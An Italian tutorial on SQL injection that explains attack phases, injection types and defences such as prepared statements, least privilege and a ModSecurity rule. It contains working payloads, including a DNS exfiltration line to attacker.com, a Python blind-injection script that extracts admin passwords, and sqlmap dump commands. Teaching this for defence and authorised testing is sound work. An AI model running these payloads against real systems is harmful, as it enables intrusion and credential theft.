SQL Injection: come funziona e come proteggere le tue applicazioni

SQL Injection (SQLi) è una vulnerabilità che permette a un attaccante di manipolare le query SQL di un'applicazione web. Nonostante sia conosciuta da oltre 20 anni, rimane nella OWASP Top 10 e causa ancora breach massicci. Vediamo come funziona davvero e come difendersi.

SQL Injection Attack Flow

Indice


Cos'è SQL Injection

SQL Injection è una tecnica di code injection che sfrutta una validazione insufficiente dell'input utente. L'attaccante inserisce codice SQL malevolo in campi input (form, URL parameters, headers) che viene poi eseguito dal database.

Il problema di base è semplice: se concateni input utente direttamente in una query SQL, stai eseguendo codice non fidato.

Esempio vulnerabile classico:

// ❌ CODICE VULNERABILE - NON USARE
$username = $_GET['user'];
$password = $_GET['pass'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

Cosa succede se un attaccante invia:

user=admin'--&pass=qualsiasi

La query diventa:

SELECT * FROM users WHERE username='admin'--' AND password='qualsiasi'

Il -- è un commento SQL che ignora tutto il resto. L'attaccante ha appena fatto login come admin senza conoscere la password.


Come funziona l'attacco

L'attacco SQL Injection si basa su 3 fasi:

1. Discovery (trovare il punto di iniezione)

L'attaccante testa tutti gli input dell'applicazione con caratteri speciali SQL:

  • ' (singolo apice)
  • " (doppio apice)
  • ; (separatore comandi)
  • -- (commento)
  • /* */ (commento multilinea)
  • || (concatenazione)

Test base:

# Se l'applicazione risponde con errore SQL, è vulnerabile
https://example.com/product.php?id=1'

# Errore tipico:
# "You have an error in your SQL syntax near '1'' at line 1"

2. Exploitation (sfruttare la vulnerabilità)

Una volta trovato il punto vulnerabile, l'attaccante può:

A) Bypassare l'autenticazione:

' OR '1'='1
admin'--
' OR 1=1--

B) Estrarre dati:

' UNION SELECT username, password FROM users--

C) Modificare dati:

'; UPDATE users SET password='hacked' WHERE username='admin'--

D) Eseguire comandi sistema (se i permessi lo consentono):

'; EXEC xp_cmdshell('whoami')--  /* SQL Server */

3. Data Exfiltration (estrarre i dati)

L'attaccante estrae progressivamente informazioni sensibili:

-- 1. Scoprire database
' UNION SELECT schema_name FROM information_schema.schemata--

-- 2. Scoprire tabelle
' UNION SELECT table_name FROM information_schema.tables--

-- 3. Scoprire colonne
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- 4. Estrarre dati
' UNION SELECT username, password FROM users--

SQL Injection Data Exfiltration Process
Processo di estrazione dati tramite UNION-based SQL Injection


Tipi di SQL Injection

Esistono diverse tipologie di SQLi, ognuna richiede tecniche diverse.

1. In-Band SQLi (Classic)

L'attaccante usa lo stesso canale per iniettare e ricevere dati.

Error-based:

' AND 1=CONVERT(int, (SELECT @@version))--

L'errore SQL rivela informazioni (versione DB, struttura, ecc).

UNION-based:

' UNION SELECT null, username, password FROM users--

L'output della seconda query viene mostrato nella pagina.

2. Blind SQLi

L'applicazione non mostra errori SQL ma l'attaccante può dedurre informazioni dalle risposte.

Boolean-based:

# Test se il primo carattere della password admin è 'a'
# TRUE: pagina normale
# FALSE: pagina diversa o errore

payload = "' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--"

Time-based:

-- Se la condizione è vera, il DB aspetta 5 secondi
' AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)--

3. Out-of-Band SQLi

Usa canali esterni (DNS, HTTP) per estrarre dati. Raro ma potente.

-- SQL Server: invia dati via DNS
'; DECLARE @data VARCHAR(1024); SELECT @data = (SELECT password FROM users WHERE username='admin'); EXEC('master..xp_dirtree "\\'+@data+'.attacker.com\\test"')--

Esempi pratici di exploit

Scenario 1: Login Bypass

Applicazione vulnerabile (PHP + MySQL):

<?php
// login.php - VULNERABILE
$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);

if (mysqli_num_rows($result) > 0) {
    echo "Login successful!";
} else {
    echo "Login failed!";
}
?>

Exploit:

# Payload nel campo username
admin'--

# Query risultante:
# SELECT * FROM users WHERE username='admin'--' AND password=''
# Il -- commenta il resto, password check bypassato

Test con curl:

curl -X POST https://target.com/login.php \
  -d "username=admin'--&password=qualsiasi"

Scenario 2: Data Extraction

Applicazione vulnerabile:

// product.php?id=5
$id = $_GET['id'];
$query = "SELECT name, price FROM products WHERE id=$id";

Step 1 - Verificare numero colonne:

-- Testa finché non ottieni risultati
?id=5 ORDER BY 1--    ✓
?id=5 ORDER BY 2--    ✓
?id=5 ORDER BY 3--    ✗ (errore = 2 colonne)

Step 2 - Identificare colonne visualizzate:

?id=-1 UNION SELECT 1,2--
# Se vedi "1" e "2" nella pagina, entrambe le colonne sono output

Step 3 - Estrarre dati sensibili:

-- Versione database
?id=-1 UNION SELECT @@version, database()--

-- Username database
?id=-1 UNION SELECT user(), 2--

-- Lista tabelle
?id=-1 UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--

-- Dump credenziali
?id=-1 UNION SELECT username, password FROM users--

Scenario 3: Blind SQLi con script Python

Quando l'app non mostra errori, scrivi uno script per automatizzare l'estrazione:

#!/usr/bin/env python3
import requests
import string

# Configurazione
target = "https://target.com/product.php"
charset = string.ascii_lowercase + string.digits + "_"

def extract_database_name():
    """Estrae nome database usando Blind SQLi Boolean-based"""
    db_name = ""

    for position in range(1, 20):  # Max 20 caratteri
        for char in charset:
            # Payload: se il carattere è corretto, la pagina mostra il prodotto
            payload = f"1' AND SUBSTRING(database(),{position},1)='{char}'--"

            response = requests.get(target, params={"id": payload})

            # Se la pagina contiene "Product found", il carattere è corretto
            if "Product found" in response.text:
                db_name += char
                print(f"[+] Found: {db_name}")
                break
        else:
            # Nessun carattere trovato = fine stringa
            break

    return db_name

def extract_password(username):
    """Estrae password usando Time-based Blind SQLi"""
    password = ""

    for position in range(1, 50):  # Max 50 caratteri
        for char in charset:
            # Se il carattere è corretto, il DB aspetta 3 secondi
            payload = f"1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='{username}'),{position},1)='{char}',SLEEP(3),0)--"

            try:
                response = requests.get(target, params={"id": payload}, timeout=2)
            except requests.Timeout:
                # Timeout = carattere trovato
                password += char
                print(f"[+] Password: {password}")
                break
        else:
            break

    return password

if __name__ == "__main__":
    print("[*] Starting Blind SQLi exploitation...")

    db = extract_database_name()
    print(f"[+] Database name: {db}")

    pwd = extract_password("admin")
    print(f"[+] Admin password: {pwd}")

Esecuzione:

$ python3 blind_sqli.py
[*] Starting Blind SQLi exploitation...
[+] Found: s
[+] Found: sh
[+] Found: sho
[+] Found: shop
[+] Database name: shop_db
[+] Password: a
[+] Password: ad
[+] Password: adm
[+] Password: adm1
[+] Password: adm1n
[+] Admin password: adm1n123

Come difendersi

1. Prepared Statements (Parametrized Queries) ✅

La soluzione definitiva. I parametri sono inviati separatamente dalla query, il DB non li interpreta mai come codice.

PHP (MySQLi):

// ✅ SICURO
$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();

PHP (PDO):

// ✅ SICURO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username=:user AND password=:pass");
$stmt->execute(['user' => $username, 'pass' => $password]);
$result = $stmt->fetchAll();

Python (psycopg2 - PostgreSQL):

# ✅ SICURO
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (username, password))

Node.js (MySQL):

// ✅ SICURO
connection.query("SELECT * FROM users WHERE username=? AND password=?", [username, password], (err, results) => {
    // ...
});

2. Stored Procedures (con parametri)

-- Creazione stored procedure
CREATE PROCEDURE AuthenticateUser(
    IN p_username VARCHAR(50),
    IN p_password VARCHAR(255)
)
BEGIN
    SELECT * FROM users
    WHERE username = p_username
    AND password = p_password;
END;
// Chiamata sicura
$stmt = $conn->prepare("CALL AuthenticateUser(?, ?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

⚠️ Attenzione: Stored procedures sono sicure SOLO se usano parametri. Se concatenano stringhe internamente, sono vulnerabili.

3. Validazione e Sanitizzazione Input

Non è una difesa primaria, ma aggiunge un layer di protezione.

// Whitelist per campi con valori limitati
$allowed_sort = ['name', 'price', 'date'];
$sort = in_array($_GET['sort'], $allowed_sort) ? $_GET['sort'] : 'name';

$query = "SELECT * FROM products ORDER BY $sort";  // Sicuro perché whitelist
// Type casting per ID numerici
$id = (int)$_GET['id'];  // Converte a integer, impossibile iniettare SQL

$query = "SELECT * FROM products WHERE id=$id";  // Sicuro perché $id è int

Escape function (ultimo resort, NON consigliato):

// ⚠️ Meglio prepared statements
$username = mysqli_real_escape_string($conn, $_POST['username']);
$query = "SELECT * FROM users WHERE username='$username'";

4. Least Privilege (Principio del minimo privilegio)

L'utente DB dell'applicazione NON deve essere root/admin.

-- ✅ Crea utente dedicato con permessi limitati
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- Solo SELECT, INSERT, UPDATE su tabelle specifiche
GRANT SELECT, INSERT, UPDATE ON shop_db.products TO 'webapp'@'localhost';
GRANT SELECT, INSERT ON shop_db.orders TO 'webapp'@'localhost';

-- NO DELETE, NO DROP, NO GRANT
FLUSH PRIVILEGES;

Benefici:

  • Se sfruttata SQLi, attaccante non può cancellare tabelle
  • Non può creare nuovi utenti admin
  • Non può accedere ad altri database

5. WAF (Web Application Firewall)

Un WAF può bloccare pattern SQLi comuni.

Esempio regola ModSecurity:

# Blocca SQLi pattern comuni
SecRule ARGS "@rx (?i)(union.*select|select.*from|insert.*into|\bor\b.*=|1=1)" \
    "id:1000,phase:2,deny,status:403,log,msg:'SQL Injection detected'"

ℹ️ Info: Il WAF è un layer difensivo aggiuntivo, NON sostituisce il codice sicuro. Bypass dei WAF esistono.

6. Error Handling sicuro

Non esporre mai errori SQL agli utenti:

// ❌ VULNERABILE - Mostra errori SQL
mysqli_query($conn, $query) or die(mysqli_error($conn));

// ✅ SICURO - Log error, mostra messaggio generico
if (!mysqli_query($conn, $query)) {
    error_log("DB Error: " . mysqli_error($conn));
    die("An error occurred. Please try again later.");
}

Tool per il testing

SQLMap - Il Re di SQLi Exploitation

Installazione:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py -h

Esempi d'uso:

# Test base
python3 sqlmap.py -u "http://target.com/product.php?id=1"

# Specifica parametro POST
python3 sqlmap.py -u "http://target.com/login.php" \
  --data="username=admin&password=pass"

# Dump database completo
python3 sqlmap.py -u "http://target.com/product.php?id=1" \
  --dump-all --batch

# Estrai specifiche tabelle
python3 sqlmap.py -u "http://target.com/product.php?id=1" \
  -D shop_db -T users --dump

# Test con cookie sessione
python3 sqlmap.py -u "http://target.com/admin.php?id=1" \
  --cookie="PHPSESSID=abc123def456"

# SQL Shell interattiva
python3 sqlmap.py -u "http://target.com/product.php?id=1" \
  --sql-shell

Output tipico SQLMap:

[*] starting @ 14:32:15
[14:32:15] [INFO] testing connection to the target URL
[14:32:16] [INFO] testing if the target URL is stable
[14:32:17] [INFO] target URL is stable
[14:32:17] [INFO] testing if GET parameter 'id' is dynamic
[14:32:18] [INFO] GET parameter 'id' appears to be dynamic
[14:32:19] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[14:32:20] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:21] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based' injectable
[14:32:22] [INFO] GET parameter 'id' is 'MySQL >= 5.0 UNION query' injectable

Altri Tool Utili

Tool Scopo Link Difficoltà
Burp Suite Intercept e modify requests, scanner SQLi integrato portswigger.net ⭐⭐
jSQL Injection GUI user-friendly per SQLi github.com/ron190/jsql-injection
NoSQLMap SQLi per database NoSQL (MongoDB, CouchDB) github.com/codingo/NoSQLMap ⭐⭐
Havij Tool automatico SQLi (Windows) N/A (discontinued)

Script personalizzato per test rapidi

#!/usr/bin/env python3
"""
sqli_quick_test.py - Test rapido vulnerabilità SQLi
"""
import requests
import sys

# Payload SQLi comuni
PAYLOADS = [
    "'",
    "''",
    "' OR '1'='1",
    "' OR '1'='1'--",
    "' OR '1'='1'/*",
    "admin'--",
    "' UNION SELECT NULL--",
    "1' AND 1=1--",
    "1' AND 1=2--",
]

# Pattern errori SQL
ERROR_PATTERNS = [
    "sql syntax",
    "mysql_fetch",
    "mysqli",
    "Warning: mysql",
    "PostgreSQL",
    "Driver.*SQL",
    "ORA-01",
    "DB2 SQL error",
]

def test_sqli(url):
    """Testa URL per vulnerabilità SQLi base"""
    print(f"[*] Testing {url}")
    vulnerable = False

    for payload in PAYLOADS:
        try:
            # Test GET parameter
            if "?" in url:
                test_url = url.replace("=", f"={payload}")
            else:
                test_url = f"{url}?id={payload}"

            response = requests.get(test_url, timeout=5)

            # Check errori SQL
            for error in ERROR_PATTERNS:
                if error.lower() in response.text.lower():
                    print(f"[!] VULNERABLE with payload: {payload}")
                    print(f"[!] Error found: {error}")
                    vulnerable = True
                    break

        except Exception as e:
            print(f"[-] Error with payload {payload}: {e}")

    if not vulnerable:
        print("[+] No obvious SQLi found (not conclusive)")

    return vulnerable

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 sqli_quick_test.py <URL>")
        sys.exit(1)

    url = sys.argv[1]
    test_sqli(url)

Esecuzione:

python3 sqli_quick_test.py "http://target.com/product.php?id=1"

Conclusioni

SQL Injection è prevenibile al 100% usando prepared statements. Non ci sono scuse.

Key takeaways:

  1. Mai concatenare input utente in query SQL - usa sempre prepared statements
  2. Testa le tue applicazioni - usa SQLMap prima che lo faccia qualcun altro
  3. Defense in depth - prepared statements + least privilege + WAF + error handling
  4. Non fidarti del client - valida server-side, sempre

Prossimi passi:


FAQ

D: Prepared statements funzionano con query dinamiche (ORDER BY, LIMIT)?
R: I parametri prepared funzionano solo per VALUES. Per clausole come ORDER BY usa whitelist di valori permessi. Esempio: $allowed = ['name','price']; $sort = in_array($_GET['sort'], $allowed) ? $_GET['sort'] : 'name';

D: ORM come Laravel/Django sono immuni da SQLi?
R: Gli ORM usano prepared statements internamente, MA se usi raw queries o metodi unsafe (whereRaw, DB::raw) sei vulnerabile. Sempre validare input anche con ORM.

D: Come testo SQLi in auth form con CAPTCHA?
R: Usa tools che mantengono sessione (Burp Repeater) o risolvi CAPTCHA manualmente una volta poi replay il request. Alcuni CAPTCHA hanno bypass lato client.

D: SQLi funziona su API REST/GraphQL?
R: Sì, se l'API costruisce query SQL da parametri JSON/GraphQL senza prepared statements. Testa headers, body JSON, query GraphQL con payloads SQLi.


Riferimenti:

  1. OWASP SQL Injection
  2. CWE-89: SQL Injection
  3. SQLMap Documentation
  4. PortSwigger SQL Injection Cheat Sheet

Ultimo aggiornamento: 07 gennaio 2025 - Per test di sicurezza usa solo su sistemi autorizzati. SQLi senza permesso è reato.

Tag articolo: #web-security #sqli #php #mysql #owasp #pentest